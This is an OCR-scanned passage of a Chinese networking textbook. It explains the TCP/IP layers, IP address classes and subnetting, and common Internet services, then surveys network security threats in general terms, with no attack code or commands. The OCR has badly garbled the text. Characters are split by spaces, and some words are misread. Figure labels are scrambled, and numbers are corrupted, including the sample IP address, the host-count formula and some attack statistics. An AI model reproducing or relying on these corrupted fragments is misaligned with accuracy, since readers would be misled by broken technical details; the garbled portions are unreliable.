Internet 上 主机 之 间 地 位 平等 的 一 个 体现 。TCP/ 5 | 会 话 层 _ BUD, SMIPS) 
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OSI 模 型 TCP/IP 协 议 
应 用 层 


IP 协议 模型 如 图 1-5 所 示 。 国光 
下 面 介 绍 TCP/IP 协议 各 层 实 现 的 具体 功能 
和 作用 。 
(1) 网 络 接口 层 Cnetwork access layer) 
TCP/IP 协议 对 这 一 层 描 述 得 很 少 ,一 般 网 络 
接口 层 提 供 了 TCP/IP 协议 与 各 种 物理 网 络 的 接口 ,为 数据 包 的 传送 和 校 验 提 供 了 可 能 。 
这 些 物理 网 络 包 括 各 种 局 域 网 和 广域网 ,如 Ethernet, Token Ring,X. 25 公共 分 组 交换 网 
等 。 网 络 接口 层 也 为 在 其 之 上 的 网 间 网 层 提供 服务 。 
(2) 网 间 网 层 (internet layer) 
网 络 接口 层 只 提供 了 简单 的 数据 流传 送 服务 ,而 在 Internet 中 网 络 与 网 络 之 间 的 数据 
传输 主要 依赖 于 网 间 网 层 中 的 IP 协议 (internet protocol) 。 
志和 


TCP UDP 
RIP IP | ICMP 


网 络 层 
数据 链 路 层 
物理 层 与 各 种 网 络 的 接 


图 1-5 TCP/IP 协议 模型 


IP 是 构成 网 间 网 层 的 一 个 主要 部 分 。IP 负责 Internet 上 主机 与 主机 之 间 的 通信 ,即将 
数据 包 由 一 台 主 机 传输 到 男 一 台 主 机 。IP 的 具体 功能 如 下 。 

Q@ 管理 Internet 中 的 地 址 。 由 于 IP 负责 将 数据 包 由 源 方 发 送 到 目的 方 ,因此 要 对 数 
据 包 中 的 地 址 , 即 所 谓 Internet 上 的 IP 地 址 进行 管理 。 而 IP 地 址 名 称 的 由 来 就 是 “符合 了 
协议 的 地 址 ”的 简称 。 

IP 地 址 具有 固定 规范 的 格式 。 它 由 32 位 二 进 制 数组 成 ,分 成 4 段 ,其 中 每 8 位 构成 一 
段 ,一 般 用 十 进 制 数 表示 ,上 段 与 段 之 间 用 “.” 隔 开 。 例 如 , 某 台 计算 机 的 IP 地 址 为 : 
19 人 168.1.255 

IP 地 址 根据 适用 范围 的 不 同 分 3 类 : A 类 地 址 、B 类 地 址 和 C 类 地 址 ,主要 依据 网 络 号 
和 主机 号 的 数量 划分 ,如 图 1-6 所 示 。 其 中 1. x. y. ?一 126. x.y.z 格 式 的 IP 地 址 ,属于 人 A 类 
地 址 ,A 类 IP 地 址 通常 用 于 大 型 网 络 的 管理 ;128. x. y. z 一 191. x. y.z 格式 的 IP 地 址 ,属于 
B 类 地 址 ,B 类 地 址 适应 于 中 等 规模 的 网 络 ;192. x. y. z 一 223. x. y.z 格式 的 IP 地址 ,属于 C 
类 地 址 ,这 种 编 址 适用 于 一 些小 公司 或 研究 机 构 ;224. x. y. z 一 239. x. y.z 格式 的 IP 地 址 ， 
用 于 特殊 用 途 , 如 多 目 广 播 ;240. x. y. z 一 255. x. y.z 格式 的 IP 地 址 ,暂时 保留 ,用 于 某 些 实 
验 和 将 来 使 用 。 

IP 地 址 中 的 “主机 号 ”字段 ,可 继续 划分 为 “ 子 网 号 ”字段 和 “主机 号 ”字段 。 一 般 来 说 ， 

一 个 单位 分 配 到 的 IP 地 址 中 ,当主 机 数量 很 大 时 (比如 : 一 个 B 类 地 址 ,最 多 可 以 有 

2 一 2 二 65 534 台 主 机 ) ,为 了 便于 隔离 和 管理 本 单位 的 网 络 ,同时 防止 网 络 内 由 于 主机 数 
量 太 多 出 现 广播 风暴 问题 而 采用 子 网 划分 。 如 图 1-7 所 示 ,判断 两 台 主 机 是 和 否 在 同一 
网 中 ,需要 用 到 子 网 掩 码 或 子 网 模 , 子 网 掩 码 同 IP 地 址 一 样 是 一 个 32 位 的 二 进 制 , 只 是 网 
络 部 分 (包括 IP 网 络 和 子 网 ) 全 为 "1”, 主 机 部 分 全 为 "0”。 判 断 两 个 IP 地 址 是 否 在 同一 
子 网 中 ,只 需 判 断 这 两 个 IP 地 址 与 子 网 掩 码 做 逻辑 “与 ”运算 的 结果 是 否 相 同 , 相 同 则 说 明 
在 同一 个 子 网 中 。 如 C 类 地 址 的 子 网 掩 码 为 255. 255. 255. 0。 


0 2 16 31 

0 1 8 31 B 类 地 址 : | 10 网 络 号 主机 号 
4 类 地 址 ， 1 ; 网 络 号 LE 0 2 16 31 
加 了 10 网 子 网 号 上 主机 号 

B 类 地 址 : | 10 | 网 络 号 | 主机 号 网 号 字段 2 | 
0 3 24 31 0 3 16 31 
C 类 地 址 : 110 | 网 络 号 主机 号 子 网 掩 码 10 111111T 11111111|111111;0000000000 
图 1-6 基本 的 IP 地 址 图 1-7 子 网 掩 码 的 作用 


@ 路 由 选择 功能 。 数 据 包 在 传输 过 程 中 要 由 IP 通过 路 由 选择 算法 ,在 源 方 与 目的 方 
之 间 选 择 一 条 最 佳 的 路 径 。 

@ 数据 包 的 分 片 与 重组 。 数 据 包 在 传输 过 程 中 要 经 过 多 个 网 络 ,因为 每 种 网 络 所 规定 
的 分 组 长 度 不 等 , 当 数 据 包 经 过 只 能 传输 长 度 较 小 的 分 组 的 网 络 时 ,就 需要 将 数据 包 分 割 成 
小 段 才 能 通过 。 当 数据 包 全 部 到 达 目 的 方 后 ,还 需要 由 IP 将 它们 重新 组 装 。 

综 上 所 述 ,IP 协议 规定 了 Internet 上 的 计算 机 之 间 通 信 所 必须 遵守 的 规则 。IP 定义 了 
Internet 上 IP 地 址 的 格式 ,并 通过 路 由 选择 ,将 数据 包 由 一 台 计 算 机 传递 到 另 一 台 计 算 机 。 
但 IP 只 负责 传送 数据 包 ,而 不 考虑 传输 的 可 靠 性 数据 包 的 流量 控制 等 安全 因素 。 


与 IP 配合 使 用 的 还 有 以 下 3 个 协议 。 

@ Internet 控制 报 文 协议 ICMP(internet control message protocol) ,用 于 报告 差错 和 
传输 控制 信息 。 

@ 地 址 转换 协议 ARP(address resolution protocol) ,用 于 将 IP 地 址 转换 成 物理 地 址 。 

@ 反 向 地 址 转换 协议 RARP(reverse address resolution protocol) ,用 于 将 物理 地 址 转 
换 成 IP 地 址 。 

(3) 传输 层 (transport layer) 

传输 层 中 的 TCP 协议 提供 了 一 种 可 靠 传输 的 方法 ,解决 了 IP 协议 的 不 安全 因素 ,为数 
据 包 正确 .安全 地 到 达 目 的 地 提供 了 保障 。 这 里 定义 了 两 个 “ 端 - 端 ”的 协议 : TCP 和 UDP。 

第 一 个 是 传输 控制 协议 TCP(transmission control protocol) 。 它 是 一 个 面向 连接 的 协 
议 ,允许 从 一 台 机 器 发 出 的 字 节 流 无 差错 地 发 往 Internet 上 的 其 他 机 器 。TCP 把 输入 的 字 
节 流 分 成 报 文 段 并 传 给 网 间 网 层 。 在 接收 端 ,TCP 接收 进程 把 收 到 的 报 文 再 组 装 成 输出 
流 。TCP 还 要 处 理 流量 控制 ,以 避免 高 速 发 送 方向 低速 接收 方 发 送 过 多 报 文 而 使 接收 方 无 
法 处 理 。 

第 二 个 协议 是 用 户 数据 报 协议 UDP(Cuser datagram protocol) 。 它 是 一 个 不 可 靠 的 、 无 
连接 协议 ,用 于 不 需要 TCP 的 排序 和 流量 控制 功能 而 是 自己 完成 这 些 功 能 的 应 用 程序 。 它 
也 被 广泛 地 应 用 于 只 有 一 次 的 客户 机 /服务 器 模式 的 请 求 -应 答 查 询 , 以 及 快速 递交 比 准确 
递交 更 重要 的 应 用 程序 ,如 传输 语音 或 影像 。 自 从 这 个 模型 出 现 以 来 ,IP 已 经 在 很 多 其 他 
网 络 上 实现 了 。 

TCP 和 UDP 都 使 用 了 端口 (port) 进 行 寻 址 。 一 个 主机 里 往往 有 多 个 进程 在 运行 ,为 
区 分 是 哪 一 个 进程 在 进行 通信 ,就 必须 在 传输 层 上 设置 一 些 端口 。 一 个 端口 是 一 个 16 位 的 
地 址 。 对 于 一 些 最 常用 的 应 用 层 服务 ,都 各 有 一 个 对 应 的 端口 号 ,这 种 端口 号 叫做 数字 端 
口 ,数字 为 0 一 255, 如 应 用 层 提供 的 FTP 服务 端口 为 21 ,WWW 服务 端口 为 80 等 。 

(4) 应 用 层 (application layer) 

TCP/IP 协议 没有 会 话 层 和 表示 层 。 传 输 层 的 上 面 是 应 用 层 , 它 包含 所 有 的 高 层 协议 。 
最 早 引 入 的 是 虚拟 终端 协议 (TELNET) 、 文 件 传 输 协议 (FTP) 和 电子 邮件 协议 (SMTP)。 
虚拟 终端 协议 允许 一 台 机 器 上 的 用 户 登录 到 远程 机 器 上 并 且 进 行 工 作 。 文 件 传输 协议 提供 
了 有 效 地 把 数据 从 一 台 机 器 移动 到 另 一 台 机 器 的 方法 。 电 子 邮件 协议 最 初 仅 是 一 种 文件 传 
输 , 但 是 后 来 为 它 提出 了 专门 的 协议 。 这 些 年 来 又 增加 了 不 少 的 协议 ,例如 域名 系统 服务 
DNS(domain name server) ,用 于 把 主机 名 映射 到 网 络 地 址 ;NMTP 协议 ,用 于 传递 新 闻 文 
章 ; 还 有 HTTP 协议 ,用 于 在 万 维 网 (WWW) 上 获取 主页 等 。 从 应 用 开发 角度 , Internet 上 
已 开发 出 许多 实用 程序 , 如 Netscape, Internet Explorer 浏览 器 等 。 这 些 实用 程序 通过 
Socket 套 接 接口 与 各 种 应 用 协议 相连 接 。 例 如 ,TCP/IP 基于 Windows 的 应 用 程序 接口 
为 Winsock。 

3.Internet 的 服务 

Internet 发 展 迅 猛 , 其 提供 的 服务 在 不 断 增 加 ,应 用 领域 也 不 断 扩 大 ,而 且 日 益 渗透 到 
人 们 的 生活 和 工作 中 ,成 为 日 常 交流 中 不 可 缺少 的 组 成 部 分 。 下 面 所 列 出 的 是 一 些 基 本 服 
务 与 应 用 的 概括 。Internet 所 提供 的 服务 都 采用 客户 机 /服务 器 的 模式 。 
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(1) 电子 邮件 

E-mail( 电 子 邮 件 ) 是 Internet 提供 的 一 项 最 基本 服务 , 它 基 于 客户 机 /服务 器 的 模式 ， 
如 图 1-8 所 示 ,是 用 户 使 用 最 为 广泛 的 Internet 服务 之 一 。 电 子 邮 件 的 最 大 特点 是 快速 . 方 
便 , 通 常 发 送 一 封 邮件 只 需 几 分 钟 就 能 被 对 方 接收 到 ,并 且 费 用 低廉 ,特别 适合 远 距离 用 户 
之 间 的 相互 联系 。Internet 的 电子 邮件 系统 模仿 普通 的 邮政 业务 ,通过 在 一 些 特定 的 网 点 
(如 ISP 的 主机 ) 设 定 “ 邮 局 ”, 提 供 “ 邮 局 ”的 主机 又 叫 邮 件 服务 器 。 用 户 就 可 以 在 该 “邮局 ” 
上 租用 一 个 “电子 信箱 ”(mail box) , 当 用 户 向 ISP 申请 “电子 信箱 ”时 ,ISP 在 邮件 服务 器 上 
建立 该 用 户 的 电子 邮件 账户 , 它 包 括 用 户 名 (user name) 和 用 户 密码 (password)。 当 需要 进 
行 邮件 的 收发 处 理 时 ,用 户 可 以 在 任何 时 间 、 任 何 地 点 与 自己 的 “邮局 ”连接 ,输入 自己 的 信 
箱 的 用 户 名 和 密码 打开 电子 信箱 ,进行 邮件 的 收发 或 存档 处 理 等 。 

每 个 电子 信箱 都 有 一 个 邮箱 地 址 , 称 为 电子 邮件 地 址 (E-mail address)。 电 子 邮 件 地 址 
的 格式 是 固定 的 ,并 且 在 全 球 范围 内 是 唯一 的 。 用 户 的 邮件 地 址 格式 为 : 用 户 名 @ 主 机 名 ， 
其 中 “@ ”符号 读 作 “at”。 主 机 名 指 的 是 拥有 独立 IP 地 址 的 计算 机 的 名 字 , 用 户 名 是 指 在 该 
计算 机 上 为 用 户 建立 的 电子 邮件 账号 。 例 如 ,在 sohu. com 主机 上 ,有 一 个 名 为 jzyuan 的 用 
户 ,那么 该 用 户 的 E-mail 地 址 为 jzyuan@sohu. com。 

目前 ,平均 每 天 有 5000 万 份 电子 邮件 在 Internet 上 传输 ,处 于 世界 不 同 角落 的 人 们 均 
可 通过 这 种 方式 来 进行 彼此 间 的 交流 。 电 子 邮 件 有 着 电话 ,传真 所 无 法 比拟 的 优点 ,例如 可 
以 将 一 份 电子 邮件 同时 发 送 给 多 个 收 件 人 ;可 以 把 收 到 的 邮件 立即 转发 (forward) 出 去 ;可 
以 即时 答复 等 。 目 前 ,已 有 越 来 越 多 的 人 将 自己 的 电子 邮件 账号 同 联系 电话 一 样 印 在 名 片 
上 向 外 分 发 ,可 见 它 具 有 广泛 的 通信 联系 作用 。 

在 使 用 传统 的 电子 邮件 软件 时 ,用户 需 要 登录 到 一 个 多 用 户 系统 上 ,如 UNIX 系统 (一 
种 主流 网 络 操作 系统 ) ,该 系统 通常 是 一 天 24 小 时 都 连接 在 Internet 上 ,用 户 可 以 随时 编 
写 .发送 ,接收 电子 邮件 ,这 种 方式 就 是 我 们 通常 所 说 的 终端 方式 。 随 着 网 络 技 术 的 发 展 ,出 
现 了 大 量 的 基于 Windows 环境 下 的 各 种 客户 端 电 子 邮 件 软 件 , 这 些 电 子 邮 件 软件 允许 用 户 
脱 机 阅读 撰写 电 子 邮 件 的 内 容 , 大 大 减少 了 用 户 的 联机 费用 ,而 且 界 面 友好 ,因此 受到 广大 
用 户 们 的 欢迎 。 

(2) 文件 传送 (PTP》 

FTP(file transfer protocol) 是 在 Internet 上 进行 文件 传输 的 一 种 协议 ,其 工作 原理 如 
图 1-9 所 示 。 目 前 FTP 多 用 于 将 远程 FTP 服务 器 上 的 一 些 共享 软件 或 资料 文件 传输 到 本 
地 机 上 ,这 一 过 程 称 为 下 载 (download)。FTP 的 工作 方式 遵循 客户 机 /服务 器 模式 ,使 用 
FTP 首先 要 有 一 个 FTP 的 客户 端 软件 。 用 户 通 过 FTP 网 点 进行 连接 ,连接 成 功 后 查找 到 
所 需 的 文件 进行 下 载 。 


图 1-8 电子 邮件 服务 的 工作 原理 图 1-9 FTP 服务 的 工作 过 程 


对 于 网 络 上 众多 的 信息 ,用 户 在 进行 FTP 传送 时 多 是 用 匿名 (anonymous FTP) 方 式 ， 
即 远程 FTP 服务 器 允许 任何 用 户 访问 该 网 点 并 可 从 该 网 点 上 免费 下 载 文件 。 但 通常 情况 
下 ,用 户 在 登录 某 一 台 FTP 网 点 时 ,多 是 以 Anonymous 或 Guest 作为 用 户 名 ,以 电子 邮件 
地 址 作为 口令 来 进行 身份 注册 。 

(3) WWW(world wide web) 浏 览 

在 Internet 提供 的 众多 服务 中 ,WWW 是 最 受 欢 迎 的 一 种 服务 ,特别 是 对 于 初学 者 。 
目前 访问 WWW 的 用 户 正 在 与 日 俱 增 , WWW 提供 的 不 仅 是 文字 信息 ,而 且 包 括 了 图 像 、 
声音 ,动画 等 多 媒体 信息 ,因此 ,访问 WWW 会 使 用 户 感受 到 Internet 更 加 直观 具体、 生动 
和 形象 。 

WWW 提供 的 信息 量 是 非常 丰富 的 ,其 范围 包括 了 科技 .教育 政治. 军事、 娱乐 .商业 
等 各 个 领域 ,可 以 说 ,不 论 你 从 事 何 种 行业 的 工作 ,都 可 以 在 WWW 上 找到 相关 的 内 容 , 并 
且 有 些 甚至 是 最 前 沿 的 信息 。 特 别 值得 指出 的 是 ,WWW 在 商业 贸易 方面 具有 巨大 的 洪 
力 ,目前 一 些 在 线 的 商品 订购 、 金 融 投资 、 商 业 合作 等 已 占 相当 数量 的 比例 ,并 且 日 趋 增 长 。 
相对 于 电视 报纸、 杂志 等 广告 宣传 媒体 ,WWW 具有 无 可 比拟 的 作用 和 效果 。 

从 技术 角度 讲 , WWW 提供 的 是 一 种 基于 页 面 检索 的 信息 服务 。 页 面 的 组 织 方式 抛 开 
了 传统 的 连续 性 ,而 采用 了 符合 人 脑 思维 习惯 的 具有 跳跃 性 的 超 链接 (hyper link) 技 术 。 在 
其 页 面 中 经 常 有 一 些 字 、. 词 或 图 片 是 以 高 亮 .下 划 线 或 变色 等 特殊 方式 显示 的 ,表明 这 些 内 
容 是 可 作为 进一步 查询 的 超 链接 ,用 鼠标 单 击 它 就 可 以 进入 下 一 页 面 的 内 容 。 这 种 超 链接 
技术 使 得 全 球 的 WWW 信息 都 有 机 地 联系 起 来 ,用 户 可 以 轻松 地 从 一 幅 页 面 跳 转 到 另 一 幅 
页 面 , 从 一 台 Web 服务 器 跳 转 到 另外 一 台 Web 服务 器 上 。 

这 些 具有 超 链 接 的 页 面 文件 在 全 球 Internet 上 是 一 种 通用 格式 , 称 做 Web 页 面 。Web 
页 面 的 编写 是 通过 HTML(hyper text markup language) 超 文本 置 标语 言 来 实现 的 ,该 语言 
是 一 种 类 似 于 排版 用 的 置 标语 言 , 通 过 加 一 些 特定 的 标记 ,能 够 将 文字 、 图 像 .声音 .表格 等 
信息 有 机 地 组 织 起 来 ,使 Web 页 面 看 上 去 图 文 并 成 。 

WWW 服务 也 采用 基于 客户 机 /服务 器 的 工作 模式 ,如 图 1-10 所 示 。 客 户 端 要 运行 
WWW 客户 程序 , 它 提 供 良好 的 用 户 界 面 , 将 用 户 的 查询 请 求 送 给 服务 器 。Web 服务 器 上 
存储 大 量 Web 页 面 并 连接 后 台数 据 库 ,随时 等 待 响应 客户 端 发 来 的 请 求 ,执行 查询 后 将 结 
果 返 回 给 客户 端 。 客 户 端 与 Web 服务 器 的 交互 是 通过 超 文本 传输 协议 CHTTP,hyper text 
transfer protocol) 来 完成 的 ,而 用 户 要 查询 某 一 台 Web 服务 器 是 通过 URL (uniform 
resource locator) 统 一 资源 定位 符 来 指定 的 ,URL 地 址 既 可 以 是 本 地 硬盘 上 的 某 个 文件 ,也 
可 以 是 Internet 上 的 网 点 。 例 如 下 面 URL 所 示 : 

http://www. Microsoft. com/ pub/index. html 

其 中 http: 为 所 使 用 的 传输 协议 ,“//” 后 面 跟着 的 是 Internet 上 Web 网 点 的 域名 。 如 
果 在 URL 地 址 中 将 http 换 成 FTP 或 Gopher 协议 ,并 在 “//” 后 面 跟 上 相应 的 FTP 站 点 或 
Gopher 站 点 ,这 样 就 可 以 在 WWW 客户 端 程序 上 执行 FTP 服务 或 Gopher 服务 。 目 前 ， 
WWW 客户 端 程序 使 用 较 广 泛 的 是 Netscape 公司 的 Netscape Navigator 和 Microsoft 公司 
的 Internet Explorer 两 种 浏览 器 。 

(4) 远程 登录 (TELNET) 

追溯 到 一 台 小 型 计算 机 相当 于 三 四 个 冷冻 柜 ( 更 大 的 计算 机 还 要 用 自己 的 空调 系统 ) 大 
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图 1-10 WWW 服务 的 工作 原理 


小 的 时 代 , 对 科学 家 和 工程 师 来 说 ,最 初 对 Internet 感 兴趣 的 原因 是 Internet 使 他 们 能 得 到 
当地 得 不 到 的 计算 机 资源 ,并 使 他 们 更 容易 与 其 他 城市 的 同行 们 合作 。 现 在 ,具有 Internet 
账号 的 用 户 可 利用 自己 办 公 室 或 实验 室 的 终端 与 网 络 中 任何 其 他 计算 机 建立 起 连接 ,只 需 
使 用 UNIX 命令 TELNET 来 建立 一 个 远程 终端 连接 ,这 种 连接 只 需 存 TELNET 后 面 注 上 
远 处 计算 机 的 地 址 即 可 。 

通过 TELNET 进行 远程 操作 有 两 项 较 普遍 的 应 用 : 第 一 ,许多 系统 都 允许 用 guest 为 
用 户 名 免费 访问 该 站 点 。 第 二 ,其 他 一 些 系 统 支持 Internet 的 用 户 在 他 们 的 系统 上 建立 个 
人 账号 。 例 如 ,许多 图 书馆 都 用 联机 系统 取代 了 原来 传统 的 卡片 目录 。 只 要 图 书馆 的 计算 
机 接 在 Internet 网 中 , 便 可 通过 远程 访问 查询 那些 目录 。 

(5) Internet 的 其 他 服务 

Internet 还 提供 了 基于 目录 方式 的 信息 检索 查询 工具 Gopher 分 类 目录 服务 。 例 如 : 
用 户 可 通过 网 络 新 闻 (News) 服 务 参与 某 个 方面 主题 的 讨论 ;利用 在 线 交 谈 (IRC) 服 务 进行 
交谈 和 网 络 的 实时 会 议 ; 通 过 网 络 电话 (web phone) 服 务 用 市 话费 用 拨打 国际 长 途 ; 虚 拟 时 
空 (virtual reality) 服 务 在 电脑 世界 里 创造 了 一 个 越 来 越 逼真 的 现实 环境 ,形成 另 一 个 时 空 
见 念 ,在 这 里 交友 ,购物 、 玩 游戏 .旅游 观光 等 ,从 事 着 现实 生活 中 存在 的 或 虚拟 出 的 各 项 活 
动 。Internet 提供 的 远程 教育 与 科研 (remote education) 服 务 将 彻底 改变 人 们 传统 的 教学 方 
式 ,学生 可 以 分 布 在 世界 各 地 ,教学 资料 可 以 搁 放 在 任何 地 方 ,这 种 教学 方式 的 改变 ,可 以 大 
大 提高 学 生 学 习 的 灵活 性 ,降低 教学 和 学 习 成 本 。 

Internet 上 提供 的 各 种 服务 已 达到 上 万 种 ,其 中 大 多 数 服 务 是 免费 的 。 随 着 Internet 
商业 化 的 发 展 趋势 , 它 提 供 的 服务 将 会 进一步 增多 。 


1.2 计算 机 网 络 存在 的 安全 问题 


迅速 发 展 的 Internet 给 人 们 的 生活 、 工 作 带 来 了 巨大 的 方便 ,人 们 可 以 坐 在 家 里 通过 
Internet 收发 电子 邮件 、 打 电话 、 进 行 网 上 购物 .银行 转账 等 ,一 个 网 络 化 社会 的 雏形 已 经 展 
现在 我 们 面前 。 在 网 络 给 人 们 带 来 巨大 便利 的 同时 ,也 带 来 了 一 些 不 容 忽 视 的 问题 ,网 络 信 
息 的 安全 保密 问题 就 是 其 中 之 一 。 


1.2.1 什么 使 网 络 通 信 不 安全 


随 着 网 络 特别 是 Internet 的 迅速 发 展 , 给 网 络 带 来 的 安全 问题 ,向 认为 Internet 已 经 完 
全 胜任 商务 活动 的 人 们 泼 了 一 倪 冷 水 ,也 延缓 和 阻碍 了 Internet 作为 国家 信息 基础 或 全 球 
信息 基础 设施 ,成 为 大 众 媒体 的 发 展 进程 。 一 些 调查 研究 表明 ,许多 个 人 和 公司 之 所 以 对 加 
入 Internet 持 观 望 态度 ,其 主要 原因 就 是 出 于 安全 的 考虑 。 尽 管 众说 纷 颖 ,但 大 家 一 致 认为 
网 络 需要 更 多 更 好 的 安全 机 制 。 

生活 中 人 们 经 常 听 说 , 某 黑 客 ( 黑 客 指 未 经 授权 而 获取 网 络 资源 的 非法 用 户 ) 和 人 侵 了 某 
一 网 络 , 使 该 网 络 服务 全 部 瘫痪 ; 某 黑客 利用 网 络 从 某 一 银行 瓷 取 了 大 量 钱财 等 事实 。 这 说 
明 世 界 上 没有 绝对 安全 的 网 络 ,只 要 用 户 使 用 计算 机 、 联 网 以 及 网 络 连接 了 Internet, 它 就 
存在 危险 ,就 必须 考虑 它 的 安全 问题 。 此 外 ,人 为 因素 和 自然 因素 也 影响 网 络 的 安全 性 。 自 
然 因 素 是 一 些 意外 事故 ,如 服务 器 突然 断 电 和 发 大 水 冲 坏 了 网 络 等 。 自 然 因 素 并 不 可 怕 , 可 
怕 的 是 人 为 因素 , 即 人 为 的 人 侵 和 破坏 。 

网 络 的 开放 性 以 及 黑客 的 攻击 是 造成 网 络 不 安全 的 主要 原因 。 科 学 家 在 设计 Internet 
之 初 就 缺乏 对 安全 性 的 总 体 构想 和 设计 ,所 用 的 TCP/IP 协议 是 建立 在 可 信 的 环境 之 下 , 主 
要 考虑 的 是 网 络 互 连 , 在 安全 方面 则 缺乏 考虑 。 这 种 基于 地 址 的 TCP/IP 协议 本 身 就 会 泄 
露 口令 ,而 且 该 协议 是 完全 公开 的 ,远程 访问 使 许多 攻击 者 无 须 到 现场 就 能 够 得 手 , 连 接 的 
主机 基于 互相 信任 的 原则 等 ,这 些 性 质 使 网 络 更 加 不 安全 。 


1.2.2 影响 计算 机 网 络 安全 的 因素 


随 着 计算 机 网 络 技术 的 发 展 和 应 用 ,一 方面 ,网 络 提供 了 资源 共享 性 、 系 统 的 可 靠 性 、 工 
作 的 效率 和 系统 的 可 扩充 性 ;同时 ,也 正 是 这 些 特点 ,增加 了 网 络 安全 的 脆弱 性 和 复杂 性 , 资 
源 共享 和 分 布 增加 了 网 络 受 威胁 和 攻击 的 可 能 性 。 

对 网 络 的 威胁 ,主要 有 以 下 5 个 方面 : 

(1) 网 络 硬件 设备 和 线路 的 安全 问题 。 

(2) 网 络 系统 和 软件 的 安全 问题 。 

(3) 网 络 管理 人 员 的 安全 意识 问题 。 

(4) 缺乏 有 效 的 手段 对 网 络 系统 的 安全 性 进行 评估 。 

(5) 环境 的 安全 因素 。 

1. 网 络 硬件 设备 和 线路 的 安全 问题 

(1) Internet 的 脆弱 性 : 系统 的 易 欺 骗 性 和 易 被 监控 性 ,加 上 薄弱 的 认证 环节 以 及 局 域 
网 服务 的 缺陷 和 系统 主机 的 复杂 设置 与 控制 ,使 得 计算 机 网 络 容 易 遭 受到 威胁 和 攻击 。 
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(2) 电磁 泄露 : 网 络 端口 .传输 线路 和 处 理 机 都 有 可 能 因 屏 蔽 不 严 或 未 屏蔽 而 造成 电 
磁 泄 露 。 目 前 ,大 多 数 机 房 屏 蔽 和 防 辐射 设施 都 不 健全 ,通信 线路 也 同样 容易 出 现 信息 
泄露 。 

(3) 搭 线 窃听 : 随 着 信息 传递 量 的 不 断 增加 ,传递 数据 的 密级 也 在 不 断 提高 ,犯罪 分 子 
为 了 获取 大 量 情报 ,可 能 在 监听 通信 线路 ,非法 接收 信息 。 

(4) 非法 终端 有 可 能 在 现 有 终端 上 并 接 一 个 终端 ,或 合法 用 户 从 网 上 断 开 时 ,非法 用 
户 乘机 接 人 ,并 操纵 该 计算 机 通信 接口 ,或 由 于 某 种 原因 使 信息 传 到 非法 终端 。 

(5) 非法 入 侵 : 非法 分 子 通过 技术 渗透 或 利用 电话 线 侵入 网 络 ,非法 使 用 、 破 坏 或 获取 
数据 或 系统 资源 。 目 前 的 网 络 系统 大 都 采用 口令 验证 机 制 来 防止 非法 访问 ,一 旦 口令 被 窃 ， 
就 无 安全 可 言 。 美 国 国防 部 对 计算 网 络 安全 问题 进行 过 测试 ,10 个 月 内 对 美国 军用 网 络 
Milnet 网 上 的 450 台 计 算 机 受 入 侵 的 情况 进行 统计 ,其 结果 表明 : 有 2% 的 攻击 者 能 攻 入 网 
络 并 进入 节点 主机 ,得 到 系统 管理 员 的 权限 ;有 4% 的 攻击 者 能 侵入 网 络 并 进入 节点 主机 ， 
侵入 编程 环境 ;有 13% 的 攻击 者 可 以 注册 侵入 节点 主机 。 在 这 些 人 中 ,95% 的 攻击 者 企图 
联网 , 划 到 网 络 拒绝 ;有 13%% 的 攻击 者 通过 注册 账号 和 口令 侵入 第 3 层 ,其 成 功 的 原因 之 一 
是 使 用 主机 系统 固有 的 默认 名 -口令 组 合 , 另 一 原因 是 查询 网 络 用 户 名 目录 窃取 用 户 名 和 口 
令 ; 有 9% 的 攻击 者 注册 入 侵 , 取 得 部 分 权限 ,进入 系统 第 4 层 ;有 些 攻击 者 能 侵入 第 5 层 ， 
存 取 电子 邮件 和 通用 数据 库 ,不 少 入 侵 者 还 可 取得 诸如 核 战争 和 生物 战争 的 有 关 信 息 ; 有 
2% 的 攻击 者 能 侵入 第 6 层 ,进入 编程 环境 ;还 有 2% 的 攻击 者 能 进入 系统 管理 员 权 限 。 

(6) 注入 非法 信息 : 通过 电话 线 有 预谋 地 注入 非法 信息 ,截获 所 传 信息 ,再 删除 原 有 信 
息 ,或 注入 非法 信息 后 再 发 出 ,使 接收 者 收 到 错误 信息 。 

(7) 线路 干扰 : 当 公 共 转 接 载 波 设备 陈旧 和 通信 线路 质量 低劣 时 ,会 产生 线路 干扰 。 
如 调制 解 调 器 会 随 着 传输 速率 的 上 升 , 错 误 迅速 增加 。 

(8) 意外 原因 : 包括 人 为 地 对 网 络 设备 进行 破坏 、 设 备 偶然 出 现 故障 。 如 处 理 非 预 期 
中 断 过 程 中 ,通信 方式 留 在 内 存 中 未 被 保护 的 信息 段 在 通信 方式 意外 出 错时 ,被 传 到 别 的 终 
端 上 。 

(9) 病毒 人 侵 : 计算 机 病毒 可 以 多 种 方式 侵入 计算 机 网 络 ,并 不 断 繁殖 ,然后 扩散 到 网 
上 的 计算 机 来 破坏 系统 。 轻 者 使 系统 出 错 , 重 者 可 使 整个 系统 瘫痪 或 崩溃 。 

(10) 黑客 攻击 : 黑客 采用 种 种 手段 ,对 网 络 及 其 计算 机 系统 进行 攻击 ,侵占 系统 资源 ， 
或 对 网 络 和 计算 机 设备 进行 破坏 ,窃取 或 破坏 数据 和 信息 。 从 攻击 者 与 计算 机 系统 的 距离 
来 划分 ,攻击 可 分 为 超 距 攻击 、 远 距 攻击 和 近 距 攻 击 。 超 距 攻 击 是 利用 Internet 进行 攻击 
的 ,其 攻击 方式 具有 极 大 的 隐藏 性 ,必须 严 加 防范 ,特别 要 警惕 外 国情 报 机 关 利 用 这 种 攻击 
方式 进行 窃 密 和 破坏 。 近 距 攻击 , 即 同一 单位 的 人 利用 合法 身份 越权 存 取 计 算 机 中 的 数据 
或 干扰 其 他 用 户 使 用 ,要 注意 内 部 人 员 进 行 的 非法 攻击 。 远 距 攻击 是 通过 电话 线 进 入 计算 
机 网 络 ,注册 登录 到 网 内 某 一 主机 ,进行 非法 存 取 , 要 注意 外 部 人 员 ,尤其 是 “黑客 "和 国外 敌 
对 分 子 进行 的 攻击 。 

2. 网络 系统 和 软件 的 安全 问题 

(1) 网 络 软件 的 漏洞 及 缺陷 被 利用 ,使 网 络 划 到 入 侵 和 破坏 。 

(2) 网 络 软件 安全 功能 不 健全 或 被 安装 了 “特洛伊 木马 ”软件 。 

(3) 应 加 安全 措施 的 软件 可 能 未 给 予 标识 和 保护 ,要 害 的 程序 可 能 没有 安全 措施 ,使 软 
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件 非法 使 用 或 破坏 或 产生 错误 结果 。 

(4) 未 对 用 户 进行 分 类 和 标识 ,使 数据 的 存 取 未 受 限制 和 控制 ,因而 被 非法 用 户 窃 取 数 
据 或 非法 处 理 用 户 数据 。 

(5) 错误 地 进行 路 由 选择 ,为 一 个 用 户 与 另 一 个 用 户 之 间 通 信 选 择 不 合适 的 路 径 。 

